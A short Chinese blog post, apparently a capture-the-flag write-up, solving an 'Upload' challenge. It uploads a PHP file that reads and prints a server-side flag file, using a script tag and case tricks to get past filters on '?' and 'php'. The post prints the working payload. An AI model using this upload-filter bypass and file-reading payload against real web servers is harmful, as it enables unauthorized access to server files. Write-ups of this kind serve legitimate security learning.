爱春秋-Upload

作者: 追求科技的足球 | 来源:发表于2020-03-17 22:18 被阅读0次

一句话木马,第一次接触。
可以上传一个文件,同时还能打开这个文件,因此上传一个php木马。

<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP"))); #点号.是连接符
fclose($fh);
</script>

原本的php是<?php,但是题中后台过滤了?,因此使用script,同时过滤的php使用大写和strtolower来搞定连接。
strtolower() :把字符串转换为小写
然后上传成功后打开源代码,发现flag。

相关文章

网友评论

    本文标题:爱春秋-Upload

    本文链接:https://www.haomeiwen.com/subject/kuyexhtx.html